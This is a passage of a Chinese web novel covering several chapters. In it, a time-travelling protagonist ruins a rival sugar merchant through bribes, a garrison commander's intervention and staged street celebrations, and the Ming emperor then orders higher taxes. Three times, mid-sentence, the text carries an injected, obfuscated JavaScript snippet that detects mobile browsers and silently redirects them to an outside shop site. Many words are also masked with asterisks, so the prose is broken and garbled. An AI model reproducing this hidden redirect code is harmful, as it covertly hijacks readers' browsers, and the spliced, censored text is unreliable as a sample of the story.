杨成好笑地看着他:“我在等着你破产,郭纲在等着儿子回家,你在等什么?” 一句话噎**白鹿山,因为他知道这句话最残酷的地方,那就是这是真话。 自己没法永远扣着郭纲的儿子,而只要儿子一安全,郭纲就算不敢报复,也肯定不会再帮自己。 而只要杨成一天没死,工坊一天没毁,市场上川流不息的糖霜,就会抽干自己的血。 这一战,双方都有破绽,但也都有依仗。 自己的破绽是进村**小队被抓现行,杨成的破绽是糖霜被**,都难以自证清白。 自己的依仗是郭纲的黑哨,而杨成的依仗是各宗族的保护,都让对方功败垂成。 但看似平手,其实是自己惨败。因为时间站在杨成的一边。杨成是打平就出线,自己是打平就淘汰。 然后白鹿山忽然惊觉:“你怎么知道郭纲他儿子……” 杨成淡然道:“郭纲滑得踩屎不脏鞋,除了儿子,还有什么能让他这么帮你?” 白鹿山咬牙拂袖而去,他还得赶紧去县衙捞那些人出来呢。 坐在马车上,白鹿山的怒火和沮丧消散了一些,忽然发现这是不幸中的大幸。 杨成还是不够心狠手辣,如果是自己,一定会把这些人全杀死,一个不留。 因为这些都是自己的底牌,虽然死的都是最死忠自己的人,但剩下的也是好用的。 杨成估计是幻想郭纲能秉公执法,让这些人咬出自己来,所以才留下他们的。 这就叫聪明反被聪明误,他没想到自己完全拿捏了郭纲,这些人,以后就会变成架在杨成脖子上的刀! 白鹿山命令马车加快速度,因为他知道,郭纲一定在前面磨磨蹭蹭,等着自己呢。 这些歹徒是不能入县衙的,一旦入了县衙,再逃走就是郭纲的大罪了。 但如果在城外逃走,郭纲可以推说人力不足,押送途中出了意外。 都还没认定身份呢,也不能说是逃犯,万幸杨家湾也没**,大事化小,小事化了。 白鹿山猛追一阵,已经看见在前面磨蹭的郭纲了,他摸了摸腰里的银票。 这一千两银子是白鹿山最后的现银了,郭纲不会收,但要让捕快变成睁眼瞎,这钱是省不了的。 就在**蛋假装跌倒,把火折子塞进柴火堆里时,杨成和白鹿山正在公堂上唇枪舌剑时,进城的五十人中,四散而去那些行踪如下。 朱囤的族长在杨家湾老族长儿子的带领下,找到了回春堂,要求朱仲带着账本上堂作证。 其余几位族长,在子侄的带领下,找到城中居住的亲戚,要求他们到堂前助威。 杨成说到刘通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362606|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每次送货,都是二掌柜当场验货,众目睽睽时,发出同意声的就是这些人。 其中孙家庄的族长,则享受了最高待遇,由老族长亲自带领着,来到了一个特殊的地方。 孙二爷本来正躺在椅子上抽烟,忽然听见院门外传来敲门声。 看门的花子从门房里喊:“两位大爷,我们团头儿吩咐了,这几天谁来都不让进,请回吧。” “二来,孙二来,你在吗,我是春哥啊!” 烟袋锅里掉在地上,迸出火星。 连白鹿山来都不亲自出门迎接的孙二爷,一个鲤鱼打挺从椅子上跳起来了。 “开门,快开门!”孙二爷跌跌撞撞地跑出屋门。 从门房出来的花子没有孙二爷的动作快,他拉开门闩,两手一拉。 “春哥,真是你呀春哥,你……老了好多呀!这位是?” 孙二爷激动的皱纹都在哆嗦,看着眼前这个比自己矮半头的老人。 孙大春介绍道:“这是杨家湾的族长,啊不对,现在不是了,已经让给杨成了。” 孙二爷愣了一下,略微冷静了一些,但他只是稍一犹豫,就把两人让进了自己的正房里。 “把孙则叫进来,让他认认亲!” 一瘸一拐,满脸烟袋印的孙则,拄着拐出现了,按孙二爷的吩咐给老人行礼。 “这就是大来的儿子?当初你兄弟俩离开孙家庄,入了丐帮,还以为你们绝了后了。” 孙二爷垂头,像个犯错的孩子:“当初是我兄弟俩犯浑,惹了祸就跑了,连累了族里。 当了花子的,**是正常的事儿,只有当了团头才有机会成家生孩子。 这儿子是我哥拿命拼来的,入不了祖坟的人,有个后人上坟烧纸,好歹不算是孤魂野鬼。” 孙大春捋了捋胡子:“当初你兄弟惹祸跑了,族谱确实是除名了的。 不过现在有个机会,我和族老们都商量过了,如果你能替族里做事,你和你哥的名字可以写回去。” 孙二爷愕然抬头,满脸的不可思议,眼神狂喜,就像舔狗听见女神说今晚家里没人一样。 第五十一章 守备 守备站在城头上,看着远处的火光,心里暗骂白鹿山狂妄至极。 不过他并没有打算出兵,一来作为一城守备,保护县城才是主要职责,城外乡野次之。 万一带兵出城,中了什么调虎离山之计,被人攻入县城,那才是死罪呢。 二来现在只是失火,并没有人来报告有贼匪之事。即使有人报案,还有捕快顶着呢! 只有贼匪人多势众,捕快顶不住了,派人求援,那才是需要守城兵丁出动的时候。 不过守备也没有干等着,他让兵丁们做好出战的准备,以防万一。 这时一个亲兵跑上城楼,小声嘀咕两句,守备愣了一下,随着亲兵回到府里。 见到等在府内的孙二爷,守备哼了一声,大马金刀地坐下。 “老孙,有什么事儿快说,我这儿有火烧眉毛的事,就不跟你假客气了!” 孙二爷和守备也算是半个朋友,因为孙二爷曾帮过守备一个小忙。 当时兵部派人下来核查各地驻军,守备手下的二百兵马中,有三十人的空额。 如果是两千人里有三百个空额,或许还有机会蒙混过去,但同样等比例,二百人就很难了。 所以守备赶紧找人填空儿,普通老百姓演技不佳,心理素质也不行,容易穿帮。 于是守备找到孙二爷,孙二爷用自己的手下拼凑了三十人,穿上军装点名冒数。 有了这份交情,孙二爷和守备说话也就不绕弯子了,他直接掏出一堆东西。 有大明宝钞,有金银,加起来有五百两。其中宝钞是孙则花剩下的,金银是孙二爷自掏腰包。 守备眼睛一亮:“老孙,这么大价钱,你不会也**是想杀杨成吧,这事儿我不干啊。 我虽然不是本地人,但也不想惹这么大的麻烦,你没看刚才城外那阵势?” 孙二爷连连摆手:“我是受杨成之托,给将军送钱的。他想请将军帮他个忙。” 守备看着那堆银钱,慢悠悠道:“哦?他有什么事儿是要我帮忙的? 看那火的方向,应该是杨家湾遭贼了吧?如果是让我出城剿匪,他直接来就行了。 不过既然贼人敢点火,那说明是已经撤了,这时候再出兵也追不上了。” 孙二爷低声道:“不用将军去追贼,杨成说他会替将军把贼抓住。 不过郭纲和白鹿山沆瀣一气,保不准会在城外把贼放走,那将军的功劳也就没了。 而且放虎归山,杨成以后也得担心这些贼寇。所以请将军出手。 贼和银子都归将军,只求将军好好审审这些贼寇,看他们究竟是什么来路。” 守备愣了一下,随即哈哈大笑:“好小子,果然厉害,老子当大头兵时就听说过杨老虎了。 果然是虎爷无犬孙啊!来人,点起兵马,随我出城抓贼!” 传令声次第传了下去,一共不到二百人的队伍,硬是被守备整出了千军万马的豪情。 守备骑着马,剩下的兵玩命地跑,总算在白鹿山和郭纲争执的过程中包围了他们。 争执的内容主要是先放贼人,还是先放儿子。 郭纲坚持让白鹿山写张纸条,由捕头去府城接人,他才肯放掉这些贼人。 原本儿子在白鹿山手里,就像自己被白鹿山猴子偷桃了一样,他只能随着对方的步伐走。 但现在对方也有桃儿被他攥在手中,他自然要谈好条件,双方一起放手才行。 他也不怕白鹿山翻脸,贼人虽有十来个,但都伤得不轻,还都被绑着。 自己这边也有十来个捕快,人人带刀,不怕白鹿山来硬的。 就在白鹿山趴在捕快背上写纸条的时候,守备的兵马赶到,将他们全围住了。 郭纲大惊,强撑着喝道:“赵守备,你这是何意?难道你要杀官**吗?” 赵守备嘿嘿一笑:“县尊大人,这话从何说起?我是接到报案,说有贼人,特来抓贼的!” 郭纲沉着脸:“贼人已经尽数被本官拿下,不劳赵守备费心了。” 赵守备也不勉强,一挥手:“县尊放心,下官不是来抢功的。只是担心贼匪半路逃脱。 这些贼匪凶残狡诈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362607|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是有同伙儿接应,逃之夭夭,大人和下官都有责任。” 守备和知县的品级相当,都是正七品,且洪武初期,还没像后世**武弱那般严重。 所以郭纲虽为一县主官,但对赵守备也无法完全压制,更何况现在赵守备占着理啊! 赵守备身为一城武官,抓贼匪乃本职工作。防止贼匪逃脱更是本职中的本职。 见郭纲无奈默许,白鹿山急了,他凑到赵守备面前,悄悄掏出了最后的储备。 这本来是打算贿赂捕快们的,但计划没有变化快,他只能孤注一掷,全砸在赵守备身上了。 赵守备看着那两张五百贯的大明宝钞,眼馋地舔了舔嘴唇,却还是忍住了诱惑。 “白东家不必如此,本官抓贼是为国效力,当不起百姓如此爱戴。” 白鹿山知道这些人一进县城,就大事去矣,眼下周围之人都心知肚明,他也干脆挑明了。 “将军,是杨成让你来的吧?不管杨成给你多少,我白鹿山都翻倍!” 赵守备见白鹿山挑明了,他索性也不装了,只是将声音控制在内圈几人能听到的程度。 “你给我一千两,让我贪赃枉法,他给我五百两,让我立功得赏。傻子都知道该怎么选吧? 白东家,你临急抱佛脚,闲时不烧香,老子凭什么为了你冒险玩命啊!” 说完不等白鹿山再废话,直接一挥手。 “全体列阵,押运贼匪,护送县尊大人回城!” 郭纲伸手去抓白鹿山手中的纸条儿,白鹿山迅速撤回了这条消息,撕得粉碎。 “县尊大人,这些贼人进了城,还需大人秉公执法,其他的事儿,请大人放心。” 郭纲咬牙切齿,但也知道白鹿山已经红了眼,此时生死攸关,绝不能再刺激他了。 “放心,本官一向公正廉明,倒是你,好自为之吧!” 白鹿山看着那些被带走的贼人,脸色铁青地命令自己身边的二掌柜。 “你立刻动身去应天府,找兵部武选司的王义,让他立刻想办法免了赵守备!” 第五十二章 宣传 比起这边的钩心斗角,愁云惨雾,杨家湾此时却是热闹非凡。 老族长杨厚德儿媳妇养的几头猪,被众人揪出来捅翻了,果然个个膘肥体壮,不是吹的。 无罪开释的**嫌疑犯刘通,从城中酒铺拉了一马车的酒来,号称管够。 在杨氏祠堂门前,今日前来助威的各族兄弟,都被留下来款待,大块肉大碗酒。 年轻人拼着酒吹着牛逼,当百姓的气势压过官府时,这是必然要发泄一次的情绪。 杨家湾今日**见血的那些人成为了焦点,被其他村的年轻人围着,骄傲地展示着身上的伤口。 “当时那贼就那样一刀,我就这样一挡,那贼功夫不低,抽刀又是一捅。 我家水缸盖不够大,被他扫中了胳膊,我一斧子劈下,他就被铁匠叔砍倒了……” 而中老年人则喝得很慢,回忆当年杨家军纵横海盐,一军挡三国的威风和苦涩。 援军都没带女眷,所以在厨房里忙活的都是杨家湾的女人。 白寡妇俨然是总指挥,指挥做菜热酒端茶送水。除了杀猪,她院子里刚长大的鸡也一扫而光。 李家娘子和李香儿都忙得脚不沾地,秀儿也想来帮忙,却被白寡妇弃之不用。 “你上一边歇着吧,别挡道就行,你那小身板让人撞一下,还不得散架了?” 一辆马车靠近村口,潘亮从车上下来,穿过加入欢乐的人群,找到四处敬酒的杨成。 “杨兄,此次虽然大败白鹿山,但始终打蛇不死,后面怎么办?” 杨成笑了笑:“百足之虫,死而不僵,白鹿山是很难死在咱们手上的。 不过他的糖霜总代马上就要吐出来了,京福斋也要完蛋了,他死不死有什么关系?” 然而白鹿山认为自己死不死,关系还是很大的,所以他积极地四处活动。 郭纲在硬顶着赵守备,这十来个贼人关进大牢,托病不审,也不肯让赵守备审。 赵守备每天问三次:“大人,这些贼人很凶残,很可能还有同党,必须严审! 而且,杨家湾那边追着不放,让官府给说法儿,一直拖下去,只怕会越闹越大呀!” 郭纲点点头:“五天,最多五天,我的病就好得差不多了,就可以审案了。” 五天后,是乡试开始的日子。白鹿山再怎么折腾,也不敢不让秀才下场考试。 一旦儿子进了考场,再出来就不由白鹿山说了算了。牛师爷已经带人去府城接应了。 而白鹿山也默许了,他需要这五天时间解决赵守备,放走那些手下,就更需要郭纲的鼎力相助。 他没法一直捏着郭永,其实他比郭纲更害怕,如果郭纲真被逼急了,死的一定是白鹿山。 民再凶狠也是民,官再软弱也是官,黑道耍狠不过是以命换命,但那是跟民换,不是跟官换。 他不过是趁郭纲麻痹大意,凑近了五步之内,用血溅五步吓住了他。 但这次之后,他再也没机会走进郭纲五步之内了。哪怕这次他能翻盘击败杨成,也只能算惨胜。 四天后,二掌柜回来了,随之而来的是兵部武选司的调令。 海盐县守备赵德柱,入伍多年,累有战功,兢兢业业,恪尽职守,选升盐城县守备。 盐城比海盐要大不少,在海盐守备只有二百兵,到了盐城至少三百兵,确实是升迁了。 城大油水就大,而且离海边远,海贼倭寇够不着,安全系数也更高。 看得出来,兵部武选司这次是下了本钱的。 要对付一个人,不一定要打压,捧起来反而更好,反正只要调走就行了。 新调来的守备肯定会是更听话的,新旧交接之际,知县释放几个嫌疑犯,就没那么难了。 不过二掌柜也带来了王义的话:“靠山有话给你,这是最后一次帮你了。 不管你有多难,立刻放了郭纲的儿子,不要把事儿闹大,否则你会死得更快。” 赵守备接到调令,立刻派人给孙二爷送了信,很快孙二爷就来见了赵守备。 “将军,杨成的意思是,既然将军高升了,那抓贼的功绩,就更不能被埋没了。 从那日抓到贼匪时,他就做了准备了,今日刚好为将军庆贺一下。” 赵守备错愕,忽听门外传来锣鼓声,嘈杂声,喝彩声。 赵守备走出府门,就看见县城主街之上,一只舞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366108|199662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狮队正在表演。 那真是锣鼓喧天,鞭炮齐鸣,彩旗招展,人山人海。 两头领头的狮子口中各衔着一条竖幅,上面分别写着。 “将军虎胆,为民除害!” “执法如山,明镜高悬!” 另有一条横幅:“贼匪落网,海盐百姓为县尊大人,守备将军贺!” 除了舞狮的之外,还有说书的,唱戏的,纷纷搭台,好不热闹。 这些艺人平时难得遇到大活儿,乡村舞狮唱戏说书,不过吃几顿饱饭,给些粮食。 但这次是杨成请戏,潘家出钱,报酬丰厚,故而众人十分卖力,把个县城弄得像过年一样热闹。 不但县城人来看了,各村各庄也都来看。城里固然人满为患,城门外也排了长队。 郭纲本来正准备找白鹿山商量放人的事儿,听见如此热闹,也走出县衙来看。 当他看见那些横幅,看见戏台上演着自己和赵守备亲临杨家湾,抓捕贼寇的英雄事迹时,顿时眼前一黑。 因为没有锣鼓,气势上被舞狮和戏台压倒的说书先生,此时也豁出去了,扯着嗓子大喊。 “说是迟,那时快!只见这伙贼匪死伤惨重,依旧拼死往外冲。 就听县尊大**喝一声:‘**,朗朗乾坤,岂能让你等逍遥法外,何人与我拿贼!’ 一声虎吼:‘本将军在此,此路是我开,此树是我栽,贼人从此过,留下狗命来!’” 杨成坐在七八个族长的中间,是唯一一个没长胡子的,正在高声叫好。 “这书说得有力气!当赏!回头告诉你在应天府的师兄,府城的师弟,都好好说! 只要说得好,当地桂花斋的分号开业,都请你们去舞狮、唱戏、说书!” 郭纲摇头苦笑,转身回了县衙内堂,正看见脸色铁青的白鹿山。 “白鹿山,你看见了。现在我就是想放人也放不了了,赵守备肯定会认下这功劳。 你那些兄弟走不了了,回头刑部来要人,他们扛得住大刑吗?” 白鹿山拿出一个很小的纸包,打开,里面是白色的**。 “大人,酒菜我已经备下了,让我的兄弟们吃顿饱饭吧。” 第五十三章 倾家 看着牢房里那些贼匪吃着烧鸡,喝着好酒,**蛋馋得直咽口水。 白老三冷笑道:“怎么?想吃!你要是腰够软,吃自己还差不多。 **的敢偷袭老子,老子要跟你在一间房里,早他妈掐死你了。 你给老子等着,我们吃饱喝足就该走了。等风头过了,我一定回来弄死你!” **蛋知道这家伙所言非虚,自己那一石头确实也砸得狠了点,此时也只能缩在墙角。 酒足饭饱之际,白老三忽然捂着肚子,皱着眉头,然后哇的一口吐了出来。 接着众人纷纷大吐,牢房里一片酒肉酸气,可没吐几下,就有人惨叫起来。 “好疼,这酒肉里有毒啊!白老三,你大哥要毒死我们!” 白老三大吼:“不可能,我大哥就算要毒死你们,也不会毒死我,别小瞧我们之间的……” **蛋不知道他们之间有啥,因为白老三已经一头栽倒在地,没了声息。 整个牢房重新恢复一片死寂,只有**蛋在角落里瑟瑟发抖。 贼匪放不了,但死在牢里并不稀奇,一句感染时疫,上吐下泻而死就遮盖过去了。 天气也热了,贼匪死尸又不是什么稀罕东西,肯定不够格用冰块冷藏。 为防止传染疫情,直接让孙二爷出人,拉到化人场一把火烧了。 赵守备带着美好的官声和与杨成的友谊,到盐城上任去了,算是这场戏中的最大获利者。 郭纲的儿子回来了,他不是傻子,被监控的第二天就知道不对了。 心惊胆战的进了考场,当时就差点瘫软,一连去了三次厕所,卷子上还没写一个字,先盖了三个屎戳。 这种状态当然是考不上举人的,好在他也并不孤单。 白飞金见父亲派人监控郭永,自然知道父亲那边形势危急,否则不会如此狗急跳墙。 他的心态大概还不如郭永,都没能进考场,在过道里就昏倒了,直接被人抬出来了。 回来的路上,两人分道扬镳,一个被牛师爷带着捕快接走了,一个自己雇车回来。 海盐当然不止他们两个秀才,不过其他秀才不是同一个书院的,彼此往来也少。 郭纲大大地松了口气,严厉告诫儿子以后不可再与白家父子来往。 “以后的日子,会比较艰苦。不过你放心,只要爹还是海盐知县,就不会让你受苦。 没了白鹿山,还有王德福,还有刘通。牛师爷会去找他们谈谈的。” 但首先要谈谈的,是白鹿山和杨成,这场讲数是在郭纲和新任守备吴礼的主持下进行的。 吴礼上任之前,兵部武选司的郎中王义是代表兵部跟他谈过话的。 在一番忠君爱岗的套话儿之后,王义明确告诉吴礼,要帮白鹿山,但更要顾全大局。 “白鹿山的生意,是他的命根子,但只是咱们的一根**。 有**当然比没**好,拔**也会疼,拔多了还会秃,所以咱们要帮他一把。 可咱们犯不上为了一根**拼命。潘家已经跟上面表态了,以后他会上供更多。 他还替王德福也表了态,桂花斋若能重回宫廷供奉,同样也让潘家代交一份儿。 这些**之间斗来斗去的不要急,只要他们都长在咱们这张皮上就行了。 白鹿山败给杨成,说明他不堪大用,以后随便给他找点活干就是了。 杨成若听话,咱们就收了他。他若不听话,慢慢再对付他也不迟。 对付杨成这样有特殊出身的人,像白鹿山那样来硬的不行,得来阴的才行。” 吴礼赶到海盐县城,就听说所有贼匪都感染时疫而死,当即明白白鹿山已经输了个底儿掉了。 见了郭纲后,看郭纲话里话外,对白鹿山也是怨气冲天,心里就拿定主意了。 白鹿山已经不值得帮了,这时候帮他,风险大回报小,这根**,掉了就掉了吧。 所以吴礼直接否决了白鹿山再硬干一把的想法,告诉他现在唯一的出路就是跟杨成谈判。 一张方桌,四人各据一端,就像打麻将的阵型一样。 白鹿山怨毒的看着杨成:“时至今日,我仍不明白,你为何要和刘通合作,和王德福合作,和潘家合作,就是不跟我合作! 明明当时我才是海盐首富,我才是大明糖霜总商,我才是手握黑白两道的人物儿! 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我弄死你那么多手下,你也不是什么宽宏大量的人。不过眼下,还不是算账的时候。 既然两位大人出面,我就给这个面子。糖霜总商,你当不起了,让给刘通吧。 你在海盐城的商铺和房产都留下,我为你花了不少钱,就当是赔偿给我的。 至于离不离开海盐城,随你的便。我倒希望你留下,但我觉得你不敢。” 白鹿山怒道:“你为我花什么钱了?我为你花了许多钱倒是真的!” 杨成用手指点点桌子:“**那么多人保护我,请人吃饭不得花钱? 村里打完架,不得分钱?请舞狮,搭台唱戏说书,这些不得花钱?” 白鹿山咬牙闭目许久,终于点点头。郭纲赶紧把刚才说的写成一张契约。 签字,按手印,郭纲又加盖了官府的印章,至此,已成。 曾经的海盐首富,黑白两道持有者白鹿山,倾家荡产,净身出户。 此时距杨成穿越过来,半年整。 第五十四章 发达 刘通从白鹿山手中接过了大明糖霜总商的身份,这事儿其实本来没那么容易的。 首先是糖霜总商不是白鹿山的遗产,他说留给谁就留给谁,那是要各大糖商都认可才行的。 但随着糖霜行业有了新标准,各大糖商的话语权在这一细分行业里被极度打压了。 道理很简单,糖霜现在只有一种,就是叫做霜糖的那种,这种产品,所有糖商都拿不出来。 他们能拿出的那种老式糖霜,一律都被降级为白糖,无非是颜色深点还是浅点的白糖。 这就像西方的一个笑话,说一群人上公交车抢座儿,司机是个白人,歧视黑人,让白人先上车。 黑人们不干,吵吵嚷嚷,这时一个老绅士站出来说:“大家都是上帝的孩子,无分黑白! 现在我宣布,大家既不是白的,也不是黑的,都是灰的。” 黑人们十分满意,纷纷鼓掌,老绅士说:“接下来,请浅灰色的先上车……” 也就是说,现在市场上的糖霜,都是杨成的产品,其余糖商根本拿不出货来,有什么话语权? 原本大小糖商们都不太满意,打算不承认刘通这个大明糖霜总商,但潘亮代表潘家召集了会议。 杨成在会上,拿出了自己之前做过的糖霜,虽然不如现在的霜糖,但比起糖商们原来的老糖霜还是好多了。 “各位,如果大家不承认刘通的大明糖霜总商的身份,我会把这种糖霜当白糖卖。 如此一来,大家的白糖就得降价,压着下游的红糖也得跟着降。 其实大家出货量最大的还是红糖,这样降下去,不但大家难受,连种甘蔗的农民都跟着倒霉。 如果大家愿意承认刘通的身份,我会把这款糖霜停产,只生产霜糖,并抬高价格。 如此一来,红糖和白糖的市场依旧平稳,大家不过是失去了糖霜在大明内地的市场罢了。 原本大家的糖霜产量也很低,还要拿到海外去争市场,在大明的市场上也挣不到多少钱。 用区区糖霜的损失,保住大家红糖和白糖的主力市场,这买卖听起来不亏吧。” 这是赤裸裸的威胁,但大家都知道,杨成所言非虚。 如果杨成真的把之前的糖霜低价销售,他依然有利可图,但对白糖甚至红糖市场都是降维打击。 见大家无语凝噎,杨成打完一巴掌还得给个甜枣儿。 “刘通拿的只是大明国内的糖霜总商,我的糖霜产量可以继续提升,所以还需要大家帮忙。 我多余的糖霜,可以按份额分配给大家,只要大家不在大明售卖即可。” 各家糖商均面露喜色,黄仁犹豫片刻,还是开口问个明白。 “杨兄弟,之前我有眼无珠,曾相助白鹿山,得罪过你,我们黄家也能有份儿吗?” 黄仁此举看似莽撞,其实算计极精,就是要在大庭广众之下,逼杨成表态。 如果杨成不答应给黄家,那黄仁立刻就会振臂一呼,号召大家反对刘通当糖霜总商。 黄家毕竟也是两大糖商之一,虽然风头一直被潘家压着,但身后也不乏追随的小糖商们。 如果闹翻了,整个糖商集团四分五裂,市场大乱,潘家会自损八百,刘通也会被处处针对。 如果杨成答应了,日后若反悔不给,自然商誉大损,经商之路也走不长久。 杨成微微一笑:“黄兄言重了。当时白鹿山是名正言顺的糖霜总商,黄家偏向他并没有错。 白鹿山这次血本无归,黄家跟着他也损失惨重,跟错人的代价也已经付了。 今后糖霜分配自然也有黄家一份儿,只是肯定不如潘家多就是了。” 这就行了,黄仁的心定了下来,他也没奢望能跟潘家比肩。现在连靠山那边,都对潘家十分欣赏。 黄家原本就不如潘家,这几年靠着和白鹿山走得更近才得以抗衡的。 现在白鹿山倒了,黄家审时度势,自然再次退回到老二的位置上,守时待命。 所以黄仁第一个举手:“杨兄弟好度量,如此我黄家赞同刘通为大明的糖霜总商!” 潘亮自然是立刻附议的,其他小糖商见了,也只能纷纷举手。 站在会场中间的刘通满脸通红,犹如喝了百年老酒一般,而且只就着一个拌三丝儿,早已醉得不能再醉。 短短半年时间,他就从一个濒临倒闭的杂货铺小掌柜,变成了大明的糖霜总商。 而这一切,仅仅是因为杨成,在人群中多看了自己一眼。 当然,刘通怀疑也许是多看了外甥女一眼,但这都不重要。以后,他就跟着杨成混了! 白鹿山净身出 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刘通这才谨遵吩咐,带着家人先去给杨成暖房了。 刘通娘子进了大宅子后,第一天像刘姥姥进大观园,四处乱窜。 第二天就像贾母了,坐在后院,指挥两个刚认的干女儿干活儿。 两个干女儿都不超过十二岁,都是父母破家拜业后出来找口饭吃的,干活很麻利。 刘通又单独认了一个十岁的干女儿小燕儿,专门伺候秀儿,不准娘子指使她。 刘通娘子很不满:“这个家里的人,怎么我还不能叫来干点活儿了呢?” 刘通如今腰缠千贯,也已经不是当年的刘通了,腰粗了自然也就硬了。 “你懂个屁!秀儿本来在家里就是小姐,到了咱们这儿,之前是没办法。 现在有钱了,当然还得过小姐的日子。小姐能没个丫鬟吗? 她是小姐,你就是夫人,她是穷丫头的时候,你还是给人缝补的老妈子呢! 而且以后谈婚论嫁,小姐的身份才能配得上公子,懂了吧?” 刘通娘子被骂得不敢出声了,忽然间恍然大悟。 “也对呀,小姐才能配得上公子!咱儿子以后也是公子了……” “你懂个屁!” 第五十五章 加税 大明皇宫,武英殿,皇帝最正宗的办公室。 很多人以为奉天殿,也就是百姓俗称的金銮殿是皇帝的办公室,其实那是皇帝的会议室。 哪个领导也不会在会议室里办公,所以皇帝真正的办公室是武英殿。 此时武英殿里就有从会议室带进来的两个人,加上太子朱标,一起开小会。 朱元璋带进武英殿的是兵部尚书**,户部代尚书郭桓,因为他要打仗,主要靠这两个部门。 自从大明开国以来,大大小小的仗就没断过。 外面北元贼心不死,时时袭扰,我打! 内里四川、广西、甘肃等地仗着山高路险,不归王化,我再打! 国内各地白莲余孽四处活动,煽动刁民**,我还打! 而此时北元再次集结人马,在长城外蠢蠢欲动,云南也竖起大旗,表示我们要自立为王。 不用说,那肯定还得打。 打仗,朱元璋不怕,开国不算久,精锐军队还在,开国时的大将也还没杀光呢。 虽然已经经历了胡惟庸案,但受牵连的文臣更多,武将勋贵此时大部分还活着。 但打仗是要花钱的,这才是最要命的一点。这些年争战不休,国库空虚得像中老年男子的肾。 **此时就表示,没钱发饷,如何调兵?两线作战,好比一妻一妾,如何能同时满足? 朱元璋把目光对准了郭桓,这是他很看好的官员,所以户部尚书病退后,他让身为户部右侍郎的郭桓直接越级暂代尚书之职。 如果一年考察期满,就可以转正了。现在这个难题正好是考察郭桓能力的时候。 “郭桓,你是咱大明的钱袋子,你说说,现在没钱,该怎么办? 上次朕要加印一千万贯大明宝钞,你横拦竖挡的,太子也站在你这边,现在如何?” 郭桓摇头道:“皇上,臣以为加印大明宝钞,只可应急,不是长久之计。 如今民间大明宝钞,已经是十兑七五了,不能再降了,再降下去,大明宝钞就要没人要了。” 朱标叹了口气:“这些皇上都知道,只是形势所迫,你就说你的办法吧。” 郭桓沉吟片刻:“皇上,如今朝廷急需用钱,可加增税赋,待战事结束后,再休养生息。” 朱标皱了皱眉头:“加税吗?现在税赋不算低了,若再加税,只怕百姓会弃耕而逃。 若造成严重后果,不但朝廷长久税赋受损,还可能激起民变,无异于杀鸡取卵。” 郭桓拱手道:“北方地区人口稀少,朝廷正鼓励南人北迁,不宜加税。 边远之地朝廷好不容易征讨平定,正是安抚羁縻之时,也不宜加税。 自然是捡能加的地方加,既不敢民变,也不敢**逃荒的那种地方。” 郭桓的话虽然说得委婉,但朱元璋一听就懂,而且他其实从一开始就想好了。 “郭桓说得对,江南张士诚的旧地,人口稠密,市井繁华,可以再加税赋。” 朱标沉默片刻,最后还是忍不住道:“皇上,张士诚的旧地,税赋已经是其他地方的两倍了。” 郭桓轻声道:“殿下仁厚,可殿下不知道,皇上登基以来,江南太平,如今工农商业皆已恢复。 便以一个小小的海盐县城为例,其糕点和糖霜产业便是十分发达,日进斗金。 各类作坊林立,百姓耕种之余,皆有副业可操,故而税赋虽重,却也是征缴完成度最高之地。” 朱标还在皱眉,朱元璋已经拍了一下桌子:“郭桓说的有理,咱是知道那地方的! 当年咱跟张士诚血战,咱占了整个江南江北,张士诚只剩那一片地方,竟然能顽抗许久。 标儿那时还小,不知道当时情势。多少流民偷偷跑到张士诚那里当兵,为什么? 因为张士诚给的兵饷是咱的五倍!这些钱哪儿来的?都是老百姓掏出来捐给张士诚的! 他们那么有钱,如今朝廷有难关,他们多出点怎么了?再加五成税赋! 郭桓,你立刻着手去办,最重点的地方,要派能员干吏去征收,务必在年前收齐!” 郭桓拱手施礼,转身离开武英殿,**也跟着走了,只剩下朱元璋父子。 朱元璋伸了个懒腰,顺手把龙袍脱下来扔到椅子上,斜靠着椅子,看着儿子,表情也随和了许多。 “来,标儿,吃块点心。你比我起得 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皇宫里发生的事儿,离海盐太远。但朱元璋的袍袖一挥,风却立刻刮到了海盐。 县衙后堂,郭纲看着眼前的户部主事秦强,苦笑着抖了抖手中的文书。 “秦大人,海盐不该算作张士诚旧地吧,当初这里可是三家交界之处,并未完全帮张士诚啊。” 秦强拿着茶碗,微笑道:“皇上把这差使交到了户部,这范围也是上面画的,兄弟也没有办法。 何况你们海盐很富嘛,都有钱请人到京城演戏说书了,多收点税也没什么。 白鹿山走了,老兄的日子也不好过吧,不趁这机会捞点,更待何时啊?” 敢把话说得这么露骨,是郭纲没想到的,他连连摆手。 “不不不,秦大人误会了,下官一向清正廉明,两袖清风,绝不干中饱私囊之事!” 秦强盯着郭纲,看得他直发毛,许久才缓缓开口,笑容依旧。 